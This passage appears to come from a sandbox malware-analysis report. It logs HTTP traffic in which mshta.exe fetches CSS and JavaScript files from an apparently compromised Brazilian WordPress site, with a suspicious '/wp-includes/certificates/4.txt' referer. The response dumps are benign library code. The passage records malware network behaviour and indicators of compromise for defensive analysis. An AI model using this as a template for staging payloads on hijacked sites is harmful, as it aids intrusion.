6e 74 73 2f 66 6c 65 78 73 6c 69 64 65 72 2d 69 63 6f 6e 2e 65 6f 74 3f 23 69 65 66 69 78 27 29 20 66 6f 72 6d 61 74 28 27 65 6d 62 65 64 64 65 64 2d 6f 70 65 6e 74 79 70 65 27 29 2c 0a 09 09 75 72 6c 28 27 66 6f 6e 74 73 2f 66 6c 65 78 73 6c 69 64 65 72 2d 69 63 6f 6e 2e 77 6f 66 66 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 27 29 2c 0a 09 09 75 72 6c 28 27 66 6f 6e 74 73 2f 66 6c 65 78 73 6c 69 64 65 72 2d 69 63 6f 6e 2e 74 74 66 27 29 20 66 6f 72 6d 61 74 28 27 74 72 75 65 74 79 70 65 27 29 2c 0a 09 09 75 72 6c 28 27 66 6f 6e 74 73 2f 66 6c 65 78 73 6c 69 64 65 72 2d 69 63 6f 6e 2e 73 76 67 23 66 6c 65 78 73 6c 69 64 65 72 2d 69 63 6f 6e 27 29 20 66 6f 72 6d 61 74 28 27 73 76 67 27 29 3b 0a 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 0a 09 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 7d 0a 0a 2f 2a 20 46 6c 65 78 53 6c 69 64 65 72 20 4e 65 63 65 73 73 61 72 79 20 53 74 79 6c 65 73 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0a 2e 66 6c 65 78 73 6c 69 64 65 72 20 7b 6d 61 72 67 69 6e 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20
                                                                                      Data Ascii: /* * jQuery FlexSlider v2.2.0 * http://www.woothemes.com/flexslider/ * * Copyright 2012 WooThemes * Free to use under the GPLv2 license. * http://www.gnu.org/licenses/gpl-2.0.html * * Contributing author: Tyler Smith (@mbmufffin) *//* Browser Resets*********************************/.flex-container a:active,.flexslider a:active,.flex-container a:focus,.flexslider a:focus {outline: none;}.slides,.flex-control-nav,.flex-direction-nav {margin: 0; padding: 0; list-style: none;}.flexslider-rtl {direction:rtl; text-align:right;}/* Icon Fonts*********************************//* Font-face Icons */@font-face {font-family: 'flexslider-icon';src:url('fonts/flexslider-icon.eot');src:url('fonts/flexslider-icon.eot?#iefix') format('embedded-opentype'),url('fonts/flexslider-icon.woff') format('woff'),url('fonts/flexslider-icon.ttf') format('truetype'),url('fonts/flexslider-icon.svg#flexslider-icon') format('svg');font-weight: normal;font-style: normal;}/* FlexSlider Necessary Styles*********************************/.flexslider {margin: 0; padding:
                                                                                      Aug 16, 2022 11:39:31.880462885 CEST1560INData Raw: 30 3b 7d 0a 2e 66 6c 65 78 73 6c 69 64 65 72 20 2e 73 6c 69 64 65 73 20 3e 20 6c 69 20 7b 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 20 2d 77 65 62 6b 69 74 2d 62 61 63 6b 66 61 63 65 2d 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b 7d
                                                                                      Data Ascii: 0;}.flexslider .slides > li {display: none; -webkit-backface-visibility: hidden;} /* Hide the slides before the JS is loaded. Avoids image jumping */.flexslider .slides img {width: 100%; display: block;}.flex-pauseplay span {text-transform:
                                                                                      Aug 16, 2022 11:39:31.880489111 CEST1562INData Raw: 2a 20 44 69 72 65 63 74 69 6f 6e 20 4e 61 76 20 2a 2f 0a 2e 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 2d 6e 61 76 20 7b 2a 68 65 69 67 68 74 3a 20 30 3b 7d 0a 2e 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 2d 6e 61 76 20 61 20 20 7b 20 64 69 73 70
                                                                                      Data Ascii: * Direction Nav */.flex-direction-nav {*height: 0;}.flex-direction-nav a { display: block; width: 40px; height: 40px; margin: -20px 0 0; position: absolute; top: 50%; z-index: 10; overflow: hidden; opacity: 0; cursor: pointer; color: rgba(0
                                                                                      Aug 16, 2022 11:39:31.880511045 CEST1563INData Raw: 66 6c 65 78 73 6c 69 64 65 72 2d 72 74 6c 20 2e 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 2d 6e 61 76 20 61 2e 66 6c 65 78 2d 6e 65 78 74 3a 62 65 66 6f 72 65 20 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 27 5c 66 30 30 31 27 3b 20 7d 0a 2e 66 6c 65 78
                                                                                      Data Ascii: flexslider-rtl .flex-direction-nav a.flex-next:before { content: '\f001'; }.flexslider-rtl .flex-direction-nav a.flex-prev:before { content: '\f002'; }/* Pause/Play */.flex-pauseplay a { display: block; width: 20px; height: 20px; position
                                                                                      Aug 16, 2022 11:39:31.880533934 CEST1564INData Raw: 3a 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 37 29 3b 20 7d 0a 2e 66 6c 65 78 2d 63 6f 6e 74 72 6f 6c 2d 70 61 67 69 6e 67 20 6c 69 20 61 2e 66 6c 65 78 2d 61 63 74 69 76 65 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 30 30 30 3b 20 62 61 63
                                                                                      Data Ascii: : rgba(0,0,0,0.7); }.flex-control-paging li a.flex-active { background: #000; background: rgba(0,0,0,0.9); cursor: default; }.flex-control-thumbs {margin: 5px 0 0; position: static; overflow: hidden;}.flex-control-thumbs li {width: 25%; fl


                                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                      7192.168.2.349752187.45.240.6980C:\Windows\SysWOW64\mshta.exe
                                                                                      TimestampkBytes transferredDirectionData
                                                                                      Aug 16, 2022 11:39:31.865154028 CEST1557OUTGET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1.24 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:32.089601994 CEST1565INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:39:31 GMT
                                                                                      Server: Apache
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:39:19 GMT
                                                                                      ETag: "a4fae3-1724-58592f82d6fc0"
                                                                                      Accept-Ranges: bytes
                                                                                      Content-Length: 5924
                                                                                      Connection: close
                                                                                      Content-Type: text/css
                                                                                      Data Raw: 2f 2a 20 0a 20 2a 20 09 43 6f 72 65 20 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 43 53 53 20 46 69 6c 65 0a 20 2a 09 76 31 2e 32 34 0a 20 2a 2f 0a 0a 2f 2a 20 63 6c 65 61 72 66 69 78 20 2a 2f 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 77 72 61 70 70 65 72 3a 61 66 74 65 72 20 7b 0a 09 63 6f 6e 74 65 6e 74 3a 20 22 2e 22 3b 0a 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 09 63 6c 65 61 72 3a 20 62 6f 74 68 3b 0a 09 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 30 3b 0a 09 68 65 69 67 68 74 3a 20 30 3b 0a 7d 0a 2f 2a 20 64 69 73 70 6c 61 79 20 6e 6f 6e 65 20 75 6e 74 69 6c 20 69 6e 69 74 20 2a 2f 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 7b 0a 09 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 2d 6d 73 2d 74 6f 75 63 68 2d 61 63 74 69 6f 6e 3a 20 70 61 6e 2d 79 3b 0a 7d 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 77 72 61 70 70 65 72 7b 0a 09 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 09 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 33 64 28 30 70 78 2c 20 30 70 78 2c 20 30 70 78 29 3b 0a 7d 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 77 72 61 70 70 65 72 2d 6f 75 74 65 72 7b 0a 09 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 7d 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 77 72 61 70 70 65 72 2d 6f 75 74 65 72 2e 61 75 74 6f 48 65 69 67 68 74 7b 0a 09 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 68 65 69 67 68 74 20 35 30 30 6d 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 0a 09 2d 6d 6f 7a 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 68 65 69 67 68 74 20 35 30 30 6d 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 0a 09 2d 6d 73 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 68 65 69 67 68 74 20 35 30 30 6d 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 0a 09 2d 6f 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 68 65 69 67 68 74 20 35 30 30 6d 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 0a 09 74 72 61 6e 73 69 74 69 6f 6e 3a 20 68 65 69 67 68 74 20 35 30 30 6d 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 0a 7d 0a 09 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 69 74 65 6d 7b 0a 09 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 7d 0a 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 20 2e 6f 77 6c 2d 70 61 67 65 2c 0a 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 20 2e 6f 77 6c 2d 62 75 74 74 6f 6e 73 20 64 69 76 7b 0a 09 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 7d 0a 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 20 7b 0a 09 2d 77 65 62 6b 69 74 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 09 2d 6b 68 74 6d 6c 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 09 2d 6d 6f 7a 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 09 2d 6d 73 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 09 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 09 2d 77 65 62 6b 69 74 2d 74 61 70 2d 68 69 67 68 6c 69 67 68 74 2d 63 6f 6c 6f 72 3a 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 29 3b 0a 7d 0a
                                                                                      Data Ascii: /* * Core Owl Carousel CSS File *v1.24 *//* clearfix */.owl-carousel .owl-wrapper:after {content: ".";display: block;clear: both;visibility: hidden;line-height: 0;height: 0;}/* display none until init */.owl-carousel{display: none;position: relative;width: 100%;-ms-touch-action: pan-y;}.owl-carousel .owl-wrapper{display: none;position: relative;-webkit-transform: translate3d(0px, 0px, 0px);}.owl-carousel .owl-wrapper-outer{overflow: hidden;position: relative;width: 100%;}.owl-carousel .owl-wrapper-outer.autoHeight{-webkit-transition: height 500ms ease-in-out;-moz-transition: height 500ms ease-in-out;-ms-transition: height 500ms ease-in-out;-o-transition: height 500ms ease-in-out;transition: height 500ms ease-in-out;}.owl-carousel .owl-item{float: left;}.owl-controls .owl-page,.owl-controls .owl-buttons div{cursor: pointer;}.owl-controls {-webkit-user-select: none;-khtml-user-select: none;-moz-user-select: none;-ms-user-select: none;user-select: none;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);}
                                                                                      Aug 16, 2022 11:39:32.089649916 CEST1567INData Raw: 0a 2f 2a 20 6d 6f 75 73 65 20 67 72 61 62 20 69 63 6f 6e 20 2a 2f 0a 2e 67 72 61 62 62 69 6e 67 20 7b 20 0a 20 20 20 20 63 75 72 73 6f 72 3a 75 72 6c 28 67 72 61 62 62 69 6e 67 2e 70 6e 67 29 20 38 20 38 2c 20 6d 6f 76 65 3b 0a 7d 0a 0a 2f 2a 20
                                                                                      Data Ascii: /* mouse grab icon */.grabbing { cursor:url(grabbing.png) 8 8, move;}/* fix */.owl-carousel .owl-wrapper,.owl-carousel .owl-item{-webkit-backface-visibility: display;-moz-backface-visibility: display;-ms-backface-visibil
                                                                                      Aug 16, 2022 11:39:32.089679003 CEST1568INData Raw: 65 20 62 6f 74 68 3b 0a 20 20 2d 6d 6f 7a 2d 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 63 61 6c 65 54 6f 46 61 64 65 20 2e 37 73 20 65 61 73 65 20 62 6f 74 68 3b 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 63 61 6c 65 54 6f 46 61 64 65 20 2e 37 73 20
                                                                                      Data Ascii: e both; -moz-animation: scaleToFade .7s ease both; animation: scaleToFade .7s ease both;}.owl-goDown-in { -webkit-animation: goDown .6s ease both; -moz-animation: goDown .6s ease both; animation: goDown .6s ease both;}/* scaleUp
                                                                                      Aug 16, 2022 11:39:32.089704037 CEST1570INData Raw: 61 74 65 5a 28 2d 35 30 30 70 78 29 20 74 72 61 6e 73 6c 61 74 65 58 28 2d 32 30 30 25 29 3b 20 7d 0a 7d 0a 40 2d 6d 6f 7a 2d 6b 65 79 66 72 61 6d 65 73 20 62 61 63 6b 53 6c 69 64 65 4f 75 74 20 7b 0a 20 20 32 35 25 20 7b 20 6f 70 61 63 69 74 79
                                                                                      Data Ascii: ateZ(-500px) translateX(-200%); }}@-moz-keyframes backSlideOut { 25% { opacity: .5; -moz-transform: translateZ(-500px); } 75% { opacity: .5; -moz-transform: translateZ(-500px) translateX(-200%); } 100% { opacity: .5; -moz-transform: tr
                                                                                      Aug 16, 2022 11:39:32.089730024 CEST1570INData Raw: 6f 20 7b 20 6f 70 61 63 69 74 79 3a 20 30 3b 20 2d 6d 6f 7a 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 2e 38 29 3b 20 7d 0a 7d 0a 40 6b 65 79 66 72 61 6d 65 73 20 73 63 61 6c 65 54 6f 46 61 64 65 20 7b 0a 20 20 74 6f 20 7b 20 6f 70 61
                                                                                      Data Ascii: o { opacity: 0; -moz-transform: scale(.8); }}@keyframes scaleToFade { to { opacity: 0; transform: scale(.8); }}@-webkit-keyframes goDown { from { -webkit-transform: translateY(-100%); }}@-moz-keyframes goDown { from { -moz-transfor


                                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                      8192.168.2.349753187.45.240.6980C:\Windows\SysWOW64\mshta.exe
                                                                                      TimestampkBytes transferredDirectionData
                                                                                      Aug 16, 2022 11:39:32.102022886 CEST1571OUTGET /wp-includes/js/wp-emoji-release.min.js?ver=4.9.20 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:32.320619106 CEST1573INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:37:18 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a55f41-2ea7-5c001a3bd78ff"
                                                                                      Last-Modified: Thu, 15 Apr 2021 12:02:38 GMT
                                                                                      Content-Length: 11943
                                                                                      Content-Type: application/x-javascript
                                                                                      X-Pad: avoid browser bug
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 21587803 21654947
                                                                                      Age: 134
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 2f 2f 20 53 6f 75 72 63 65 3a 20 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 74 77 65 6d 6f 6a 69 2e 6d 69 6e 2e 6a 73 0a 76 61 72 20 74 77 65 6d 6f 6a 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 66 3d 7b 62 61 73 65 3a 22 68 74 74 70 73 3a 2f 2f 74 77 65 6d 6f 6a 69 2e 6d 61 78 63 64 6e 2e 63 6f 6d 2f 32 2f 22 2c 65 78 74 3a 22 2e 70 6e 67 22 2c 73 69 7a 65 3a 22 37 32 78 37 32 22 2c 63 6c 61 73 73 4e 61 6d 65 3a 22 65 6d 6f 6a 69 22 2c 63 6f 6e 76 65 72 74 3a 7b 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 64 29 7b 64 3d 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 64 3f 70 61 72 73 65 49 6e 74 28 64 2c 31 36 29 3a 64 3b 69 66 28 64 3c 36 35 35 33 36 29 72 65 74 75 72 6e 20 61 28 64 29 3b 72 65 74 75 72 6e 20 61 28 35 35 32 39 36 2b 28 28 64 2d 3d 36 35 35 33 36 29 3e 3e 31 30 29 2c 35 36 33 32 30 2b 28 31 30 32 33 26 64 29 29 7d 2c 74 6f 43 6f 64 65 50 6f 69 6e 74 3a 69 7d 2c 6f 6e 65 72 72 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 74 68 69 73 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 70 6c 61 63 65 43 68 69 6c 64 28 67 28 74 68 69 73 2e 61 6c 74 2c 21 31 29 2c 74 68 69 73 29 7d 2c 70 61 72 73 65 3a 66 75 6e 63 74 69 6f 6e 28 64 2c 75 29 7b 75 26 26 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 75 7c 7c 28 75 3d 7b 63 61 6c 6c 62 61 63 6b 3a 75 7d 29 3b 72 65 74 75 72 6e 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 64 3f 66 75 6e 63 74 69 6f 6e 28 64 2c 74 29 7b 72 65 74 75 72 6e 20 6f 28 64 2c 66 75 6e 63 74 69 6f 6e 28 64 29 7b 76 61 72 20 75 2c 66 2c 65 3d 64 2c 63 3d 78 28 64 29 2c 61 3d 74 2e 63 61 6c 6c 62 61 63 6b 28 63 2c 74 29 3b 69 66 28 61 29 7b 66 6f 72 28 66 20 69 6e 20 65 3d 22 3c 69 6d 67 20 22 2e 63 6f 6e 63 61 74 28 27 63 6c 61 73 73 3d 22 27 2c 74 2e 63 6c 61 73 73 4e 61 6d 65 2c 27 22 20 27 2c 27 64 72 61 67 67 61 62 6c 65 3d 22 66 61 6c 73 65 22 20 27 2c 27 61 6c 74 3d 22 27 2c 64 2c 27 22 27 2c 27 20 73 72 63 3d 22 27 2c 61 2c 27 22 27 29 2c 75 3d 74 2e 61 74 74 72 69 62 75 74 65 73 28 64 2c 63 29 29 75 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 66 29 26 26 30 21 3d 3d 66 2e 69 6e 64 65 78 4f 66 28 22 6f 6e 22 29 26 26 2d 31 3d 3d 3d 65 2e 69 6e 64 65 78 4f 66 28 22 20 22 2b 66 2b 22 3d 22 29 26 26 28 65 3d 65 2e 63 6f 6e 63 61 74 28 22 20 22 2c 66 2c 27 3d 22 27 2c 75 5b 66 5d 2e 72 65 70 6c 61 63 65 28 6e 2c 72 29 2c 27 22 27 29 29 3b 65 3d 65 2e 63 6f 6e 63 61 74 28 22 2f 3e 22 29 7d 72 65 74 75 72 6e 20 65 7d 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 64 2c 75 29 7b 76 61 72 20 66 2c 65 2c 63 2c 61 2c 74 2c 6e 2c 72 2c 62 2c 6f 2c 69 2c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 20 64 28 75 2c 66 29 7b 76 61 72 20 65 2c 63 2c 61 3d 75 2e 63 68 69 6c 64 4e 6f 64 65 73 2c 74 3d 61 2e 6c 65 6e 67 74 68 3b 66 6f 72 28 3b 74 2d
                                                                                      Data Ascii: // Source: wp-includes/js/twemoji.min.jsvar twemoji=function(){"use strict";var f={base:"https://twemoji.maxcdn.com/2/",ext:".png",size:"72x72",className:"emoji",convert:{fromCodePoint:function(d){d="string"==typeof d?parseInt(d,16):d;if(d<65536)return a(d);return a(55296+((d-=65536)>>10),56320+(1023&d))},toCodePoint:i},onerror:function(){this.parentNode&&this.parentNode.replaceChild(g(this.alt,!1),this)},parse:function(d,u){u&&"function"!=typeof u||(u={callback:u});return("string"==typeof d?function(d,t){return o(d,function(d){var u,f,e=d,c=x(d),a=t.callback(c,t);if(a){for(f in e="<img ".concat('class="',t.className,'" ','draggable="false" ','alt="',d,'"',' src="',a,'"'),u=t.attributes(d,c))u.hasOwnProperty(f)&&0!==f.indexOf("on")&&-1===e.indexOf(" "+f+"=")&&(e=e.concat(" ",f,'="',u[f].replace(n,r),'"'));e=e.concat("/>")}return e})}:function(d,u){var f,e,c,a,t,n,r,b,o,i,s,l=function d(u,f){var e,c,a=u.childNodes,t=a.length;for(;t-
                                                                                      Aug 16, 2022 11:39:32.320641041 CEST1575INData Raw: 2d 3b 29 65 3d 61 5b 74 5d 2c 33 3d 3d 3d 28 63 3d 65 2e 6e 6f 64 65 54 79 70 65 29 3f 66 2e 70 75 73 68 28 65 29 3a 31 21 3d 3d 63 7c 7c 22 6f 77 6e 65 72 53 56 47 45 6c 65 6d 65 6e 74 22 69 6e 20 65 7c 7c 68 2e 74 65 73 74 28 65 2e 6e 6f 64 65
                                                                                      Data Ascii: -;)e=a[t],3===(c=e.nodeType)?f.push(e):1!==c||"ownerSVGElement"in e||h.test(e.nodeName.toLowerCase())||d(e,f);return f}(d,[]),p=l.length;for(;p--;){for(c=!1,a=document.createDocumentFragment(),t=l[p],n=t.nodeValue,r=0;i=m.exec(n);){if((s=i.ind
                                                                                      Aug 16, 2022 11:39:32.320658922 CEST1576INData Raw: 5c 75 64 64 62 33 5d 29 7c 28 3f 3a 5c 75 64 38 33 63 5b 5c 75 64 66 63 62 5c 75 64 66 63 63 5d 7c 5c 75 64 38 33 64 5b 5c 75 64 64 37 34 5c 75 64 64 37 35 5d 7c 5c 75 32 36 66 39 29 28 28 3f 3a 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 2d 5c 75 64
                                                                                      Data Ascii: \uddb3])|(?:\ud83c[\udfcb\udfcc]|\ud83d[\udd74\udd75]|\u26f9)((?:\ud83c[\udffb-\udfff]|\ufe0f)\u200d[\u2640\u2642]\ufe0f)|(?:\ud83c[\udfc3\udfc4\udfca]|\ud83d[\udc6e\udc71\udc73\udc77\udc81\udc82\udc86\udc87\ude45-\ude47\ude4b\ude4d\ude4e\udea
                                                                                      Aug 16, 2022 11:39:32.320676088 CEST1577INData Raw: 63 36 39 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 36 37 5c 75 32 30 30 64 5c 75 64 38 33 64 5b 5c 75 64 63 36 36 5c 75 64 63 36 37 5d 7c 5c 75 64 38 33 64 5c 75 64 63 36 39 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 36 39 5c 75 32 30
                                                                                      Data Ascii: c69\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]|\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d[\udc66\udc67]|\ud83c\udff3\ufe0f\u200d\ud83c\udf08|\ud83c\udff4\u200d\u2620\ufe0f|\ud83d\udc41\u200d\ud83d\udde8|\ud83d\udc68\u200d\ud83d[\udc66\udc67]|
                                                                                      Aug 16, 2022 11:39:32.320696115 CEST1579INData Raw: 5c 75 32 36 37 66 5c 75 32 36 39 32 2d 5c 75 32 36 39 37 5c 75 32 36 39 39 5c 75 32 36 39 62 5c 75 32 36 39 63 5c 75 32 36 61 30 5c 75 32 36 61 31 5c 75 32 36 61 61 5c 75 32 36 61 62 5c 75 32 36 62 30 5c 75 32 36 62 31 5c 75 32 36 62 64 5c 75 32
                                                                                      Data Ascii: \u267f\u2692-\u2697\u2699\u269b\u269c\u26a0\u26a1\u26aa\u26ab\u26b0\u26b1\u26bd\u26be\u26c4\u26c5\u26c8\u26cf\u26d1\u26d3\u26d4\u26e9\u26ea\u26f0-\u26f5\u26f8\u26fa\u26fd\u2702\u2708\u2709\u270f\u2712\u2714\u2716\u271d\u2721\u2733\u2734\u2744\
                                                                                      Aug 16, 2022 11:39:32.320715904 CEST1580INData Raw: 5c 75 64 64 66 30 2d 5c 75 64 64 66 35 5c 75 64 64 66 37 5c 75 64 64 66 61 2d 5c 75 64 64 66 66 5d 7c 5c 75 64 38 33 63 5c 75 64 64 65 39 5c 75 64 38 33 63 5b 5c 75 64 64 65 61 5c 75 64 64 65 63 5c 75 64 64 65 66 5c 75 64 64 66 30 5c 75 64 64 66
                                                                                      Data Ascii: \uddf0-\uddf5\uddf7\uddfa-\uddff]|\ud83c\udde9\ud83c[\uddea\uddec\uddef\uddf0\uddf2\uddf4\uddff]|\ud83c\uddea\ud83c[\udde6\udde8\uddea\uddec\udded\uddf7-\uddfa]|\ud83c\uddeb\ud83c[\uddee-\uddf0\uddf2\uddf4\uddf7]|\ud83c\uddec\ud83c[\udde6\udde
                                                                                      Aug 16, 2022 11:39:32.320895910 CEST1582INData Raw: 64 64 65 36 5c 75 64 64 66 32 5c 75 64 64 66 63 5d 7c 5c 75 64 38 33 63 5b 5c 75 64 63 63 66 5c 75 64 64 38 65 5c 75 64 64 39 31 2d 5c 75 64 64 39 61 5c 75 64 64 65 36 2d 5c 75 64 64 66 66 5c 75 64 65 30 31 5c 75 64 65 33 32 2d 5c 75 64 65 33 36
                                                                                      Data Ascii: dde6\uddf2\uddfc]|\ud83c[\udccf\udd8e\udd91-\udd9a\udde6-\uddff\ude01\ude32-\ude36\ude38-\ude3a\ude50\ude51\udf00-\udf20\udf2d-\udf35\udf37-\udf7c\udf7e-\udf84\udf86-\udf93\udfa0-\udfc1\udfc5\udfc6\udfc8\udfc9\udfcf-\udfd3\udfe0-\udff0\udff4\u
                                                                                      Aug 16, 2022 11:39:32.320914030 CEST1583INData Raw: 66 2e 70 75 73 68 28 28 36 35 35 33 36 2b 28 63 2d 35 35 32 39 36 3c 3c 31 30 29 2b 28 65 2d 35 36 33 32 30 29 29 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 29 2c 63 3d 30 29 3a 35 35 32 39 36 3c 3d 65 26 26 65 3c 3d 35 36 33 31 39 3f 63 3d 65 3a 66
                                                                                      Data Ascii: f.push((65536+(c-55296<<10)+(e-56320)).toString(16)),c=0):55296<=e&&e<=56319?c=e:f.push(e.toString(16));return f.join(u||"-")}}();// Source: wp-includes/js/wp-emoji.min.js!function(c,l){c.wp=c.wp||{},c.wp.emoji=new function(){var n,u,e=c.Mut
                                                                                      Aug 16, 2022 11:39:32.320930004 CEST1585INData Raw: 7c 7c 2f 5b 5c 75 32 30 33 43 5c 75 32 30 34 39 5c 75 32 30 45 33 5c 75 32 31 32 32 5c 75 32 31 33 39 5c 75 32 31 39 34 2d 5c 75 32 31 39 39 5c 75 32 31 41 39 5c 75 32 31 41 41 5c 75 32 33 30 30 5c 75 32 33 31 41 5c 75 32 33 31 42 5c 75 32 33 32
                                                                                      Data Ascii: ||/[\u203C\u2049\u20E3\u2122\u2139\u2194-\u2199\u21A9\u21AA\u2300\u231A\u231B\u2328\u2388\u23CF\u23E9-\u23F3\u23F8-\u23FA\u24C2\u25AA\u25AB\u25B6\u25C0\u25FB-\u25FE\u2600-\u2604\u260E\u2611\u2614\u2615\u2618\u261D\u2620\u2622\u2623\u2626\u262A
